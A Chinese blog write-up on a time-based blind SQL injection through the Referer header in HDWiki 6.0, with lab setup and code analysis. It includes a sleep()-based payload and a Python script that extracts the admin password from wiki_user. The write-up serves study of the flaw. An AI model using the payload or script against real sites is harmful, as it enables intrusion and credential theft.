0x01 前言

经拖稿一个月了,差了四篇文章没补回来, 现在都补上,虽然说这样没有坚持的按时写下去,但是只要记得要做这个事情就行了,不能中途而废。这个漏洞比较鸡肋,搁现在估计都没戏了,但是这个漏洞的思路可以学习下,积累经验。

0x02 环境搭建

6.0可以在官网下载:http://kaiyuan.hudong.com/download/ 在文章底部也会附上源码,搭建就不详细说明了,在我的其他文章也有搭建的详细步骤。用到的集成环境是PHPstudy,PHP版本是5.3,开启GPC。

0x03 漏洞利用

1. 注册账号

http://sb.com/index.php?user-register

2. 截获数据包

http://sb.com/index.php?user-login, 用burp或者其他工具截取数据包。

3. 执行Payload

在数据包下面加上referer:referer:' where if((substr((select password from wiki_user where username='admin'),1,1))='e',sleep(5),0)# 看到burp的右下角时间比没有加上payload的时候多了5s,证明漏洞利用成功。

0x04 漏洞分析

文件control/user.php的110行dologin()函数,为什么要登录用户才有效呢,因为$_ENV['user']这里检测了cookies,所以没有用户登录是不能执行不成功的。想了解的可以进去读一下这个代码,主要存在注入的地方是在$_ENV['user']->add_referer();这里。

function dologin(){
		
		$_ENV['user']->passport_server('login','1');
		if(!isset($this->post['submit'])){
			$this->view->assign('checkcode',isset($this->setting['checkcode'])?$this->setting['checkcode']:0);

			$_ENV['user']->add_referer();
			$_ENV['user']->passport_server('login','2');
			$_ENV['user']->passport_client('login');

			if (!isset($this->setting['name_min_length'])) {$this->setting['name_min_length'] = 3;}
			if (!isset($this->setting['name_max_length'])) {$this->setting['name_max_length'] = 15;}
			$loginTip2 = str_replace(array('3','15'),array($this->setting['name_min_length'],$this->setting['name_max_length']),$this->view->lang['loginTip2']);
			$this->view->assign('name_min_length',$this->setting['name_min_length']);
			$this->view->assign('name_max_length',$this->setting['name_max_length']);
			$this->view->assign('loginTip2',$loginTip2);
			//$this->view->display('login');
			$_ENV['block']->view('login');
		}else{

继续跟进add_referer()函数的分析,model\user.class.php的41行,这里判断了HTTP_REFERER是否为真然后执行下面内容,可以看到把$_SERVER['HTTP_REFERER']带入UPDATE语句,但是有一个haddslashes函数的过滤。

	function add_referer(){
		if($_SERVER['HTTP_REFERER']){
			$this->db->query("UPDATE ".DB_TABLEPRE."session SET referer ='".string::haddslashes($_SERVER['HTTP_REFERER'])."' WHERE sid='".base::hgetcookie('sid')."'");
		}
	}

我们进入haddslashes()函数,在lib\string.class.php文件的125行,可以看到MAGIC_QUOTES_GPC 如果PHP开启了GPC,那就不进行下面的过滤直接返回原字符串$string,所以就造成了SQL注入。

function haddslashes($string, $force = 0) {
		if(!MAGIC_QUOTES_GPC || $force) {
			if(is_array($string)) {
				foreach($string as $key => $val) {
					$string[$key] = string::haddslashes($val, $force);
				}
			}else {
				$string = addslashes($string);
			}
		}
		return $string;
	}

0x05 Python脚本

因为是盲注所以还是脚本跑比较省事,改进了一下原作者的脚本。

#coding:utf-8
import time
import httplib
payloads = list('1234567890abcdefghijklmnopqrstuvwxyz')#匹配用到的字符串
val =''
Cookies = 'hd_sid=pUQ1Aq; PHPSESSID=jatvti3nlm2ro3i7oscke307e0; hd_auth=fa04EhT6qA%2BHMlu7IOesKoc8Xs%2F5b%2Fd18B4obJ17nm7F%2BvPbknFWVkAx1u4CLLl75EzncqWZRI94cSDMjJEV'
url = '/index.php?user-login'
for i in xrange(1,32):
    for payload in payloads:
        header ={
            'Cookie':Cookies,
            'referer':"'where if(substr((select password from wiki_user where username='admin'),"+str(i)+",1)='"+payload+"',sleep(3),0)#",
        }
        try:
            conn = httplib.HTTPConnection('sb.com',timeout=5)
            conn.request(method='GET',url=url,headers=header)
            start = time.clock()
            html_doc=conn.getresponse().read()
            end = time.clock()
            dely=end-start
            #print dely
            if((dely)>2):
                val+=payload
                break
        except Exception as e:
            pass
        finally:
            conn.close()

print 'password:'+val

0x06 结束

这个漏洞确实是比较鸡肋的,要PHP小于5.4版本并且开启GPC,现在PHP差不多都是5.6版本以上的。

0x07 参考

http://www.freebuf.com/vuls/170337.html

https://github.com/F0r3at/Python-Tools/blob/master/sql_hdwiki6.py

https://www.lanzous.com/i1hb0od 源码